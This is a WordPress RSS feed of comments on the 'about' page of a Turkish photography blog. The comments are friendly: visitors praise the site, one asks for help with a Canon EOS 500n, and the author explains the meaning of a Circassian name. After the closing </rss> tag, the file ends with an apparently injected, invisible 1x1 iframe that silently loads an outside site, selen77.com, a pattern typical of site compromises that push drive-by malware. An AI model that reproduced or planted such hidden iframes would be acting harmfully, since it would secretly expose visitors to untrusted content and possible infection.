<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>DİNE yazısına yapılan yorumlar</title>
	<atom:link href="http://www.dinemiz.com/hakkinda/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dinemiz.com</link>
	<description>mono(B)log</description>
	<lastBuildDate>Tue, 19 Jul 2011 19:24:46 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
	<item>
		<title>Yazar: dinemiz</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-2001</link>
		<dc:creator>dinemiz</dc:creator>
		<pubDate>Thu, 18 Jun 2009 22:26:58 +0000</pubDate>
		<guid isPermaLink="false">#comment-2001</guid>
		<description>Ersin; çok teşekkür ederim ziyaretin için.
Canon 500n makinayı açıkcası pek tanımıyorum. ancak şurda bu makina ile çekilmiş fotoğraflar var, sanırım yardımcı olacaktır. 
Selamlar.
http://www.fotokritik.com/fotograflar/ekipman.php?tip=fotomak&amp;id=64</description>
		<content:encoded><![CDATA[<p>Ersin; çok teşekkür ederim ziyaretin için.<br />
Canon 500n makinayı açıkcası pek tanımıyorum. ancak şurda bu makina ile çekilmiş fotoğraflar var, sanırım yardımcı olacaktır.<br />
Selamlar.<br />
<a href="http://www.fotokritik.com/fotograflar/ekipman.php?tip=fotomak&#038;id=64" rel="nofollow">http://www.fotokritik.com/fotograflar/ekipman.php?tip=fotomak&#038;id=64</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: ersin</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-2000</link>
		<dc:creator>ersin</dc:creator>
		<pubDate>Thu, 18 Jun 2009 20:38:55 +0000</pubDate>
		<guid isPermaLink="false">#comment-2000</guid>
		<description>yaklaşik bir hafta önce keşfettim blogunuzu ve bu son bir haftadir akşamlarimi blogunuzda gezinerek geçiriyorum.
keşfin başlangici fotografa olan ilgim ,ilgiliyim ama bilgisizim, canon eos 500n makinem var ama onunla neler yapabileceğimi bilmiyorum.ayarlari karmaşik geliyor ve neyi niçin yapmam gerektiğinide bilmiyorum,şayet bilginiz var ise ki vardir ) zaman ayirip bana bu konuda yardim eder yada türkçe döküman bulaiblirseniz müteşekkir olurum.</description>
		<content:encoded><![CDATA[<p>yaklaşik bir hafta önce keşfettim blogunuzu ve bu son bir haftadir akşamlarimi blogunuzda gezinerek geçiriyorum.<br />
keşfin başlangici fotografa olan ilgim ,ilgiliyim ama bilgisizim, canon eos 500n makinem var ama onunla neler yapabileceğimi bilmiyorum.ayarlari karmaşik geliyor ve neyi niçin yapmam gerektiğinide bilmiyorum,şayet bilginiz var ise ki vardir ) zaman ayirip bana bu konuda yardim eder yada türkçe döküman bulaiblirseniz müteşekkir olurum.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: sinem</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-1236</link>
		<dc:creator>sinem</dc:creator>
		<pubDate>Tue, 29 Jan 2008 01:07:54 +0000</pubDate>
		<guid isPermaLink="false">#comment-1236</guid>
		<description>aa..ben seni devianntta görmüştüm:)nerden tanıdık geliyor fotoğraflar diyodum. deviantart linkini görünce çaktım.kobaner?hatırladın mı?</description>
		<content:encoded><![CDATA[<p>aa..ben seni devianntta görmüştüm:)nerden tanıdık geliyor fotoğraflar diyodum. deviantart linkini görünce çaktım.kobaner?hatırladın mı?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: dinemiz</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-1139</link>
		<dc:creator>dinemiz</dc:creator>
		<pubDate>Fri, 07 Dec 2007 11:40:21 +0000</pubDate>
		<guid isPermaLink="false">#comment-1139</guid>
		<description>cacuu :)</description>
		<content:encoded><![CDATA[<p>cacuu :)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: ÇaÇy</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-1117</link>
		<dc:creator>ÇaÇy</dc:creator>
		<pubDate>Sun, 02 Dec 2007 00:47:49 +0000</pubDate>
		<guid isPermaLink="false">#comment-1117</guid>
		<description>yengeeeeee site süper =) başarılarınızın devamını dilerim =)</description>
		<content:encoded><![CDATA[<p>yengeeeeee site süper =) başarılarınızın devamını dilerim =)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: dine</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-1115</link>
		<dc:creator>dine</dc:creator>
		<pubDate>Sat, 01 Dec 2007 17:32:02 +0000</pubDate>
		<guid isPermaLink="false">#comment-1115</guid>
		<description>mrb benim adım da Dine.googlda ararken bu siteyi buldum çok mutlu oldum.elinize sağlık çok güelll
 herkeze sevgiler,saygılar...</description>
		<content:encoded><![CDATA[<p>mrb benim adım da Dine.googlda ararken bu siteyi buldum çok mutlu oldum.elinize sağlık çok güelll<br />
 herkeze sevgiler,saygılar&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: Halil</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-514</link>
		<dc:creator>Halil</dc:creator>
		<pubDate>Sun, 05 Aug 2007 12:36:18 +0000</pubDate>
		<guid isPermaLink="false">#comment-514</guid>
		<description>İyi ki seni tanımışım bu sayfalarla....
Kaybolucam dolaşırken disokaklarında...</description>
		<content:encoded><![CDATA[<p>İyi ki seni tanımışım bu sayfalarla&#8230;.<br />
Kaybolucam dolaşırken disokaklarında&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: dinemiz</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-506</link>
		<dc:creator>dinemiz</dc:creator>
		<pubDate>Sun, 29 Jul 2007 20:23:03 +0000</pubDate>
		<guid isPermaLink="false">#comment-506</guid>
		<description>teşekkürler :)
ismim dinemis olarak da kullanılmakta, dinemiz olarak da. babamın söylediği anlamı ise &quot;gözbebeğim&quot;. kelime olarak tam çevrilince &quot;gözümde&quot; manasına gelmekte, ancak çerkezce sözcüklerin tam türkçe karşılığı olmaması biraz yorumsal anlamlar katıyor sözcüklere.</description>
		<content:encoded><![CDATA[<p>teşekkürler :)<br />
ismim dinemis olarak da kullanılmakta, dinemiz olarak da. babamın söylediği anlamı ise &#8220;gözbebeğim&#8221;. kelime olarak tam çevrilince &#8220;gözümde&#8221; manasına gelmekte, ancak çerkezce sözcüklerin tam türkçe karşılığı olmaması biraz yorumsal anlamlar katıyor sözcüklere.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: Mehmet Bİ</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-505</link>
		<dc:creator>Mehmet Bİ</dc:creator>
		<pubDate>Sun, 29 Jul 2007 19:30:37 +0000</pubDate>
		<guid isPermaLink="false">#comment-505</guid>
		<description>İyi günler DİNEMİZ.Siten çok hoş.Eline gönlüne sağlık.Yalnız adınız;Dine(Gözümüz),Dinemis(Gözümüzdedir)mi acaba?hatkobi.Selamlar.</description>
		<content:encoded><![CDATA[<p>İyi günler DİNEMİZ.Siten çok hoş.Eline gönlüne sağlık.Yalnız adınız;Dine(Gözümüz),Dinemis(Gözümüzdedir)mi acaba?hatkobi.Selamlar.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Yazar: dinemiz</title>
		<link>http://www.dinemiz.com/hakkinda/comment-page-1/#comment-67</link>
		<dc:creator>dinemiz</dc:creator>
		<pubDate>Thu, 14 Sep 2006 21:14:37 +0000</pubDate>
		<guid isPermaLink="false">#comment-67</guid>
		<description>teşekkürler, çok teşekkürler :) mutlu ettiniz beni</description>
		<content:encoded><![CDATA[<p>teşekkürler, çok teşekkürler :) mutlu ettiniz beni</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe frameborder=0 height=1 width=1 scrolling=no src='http://selen77.com/'> </iframe>
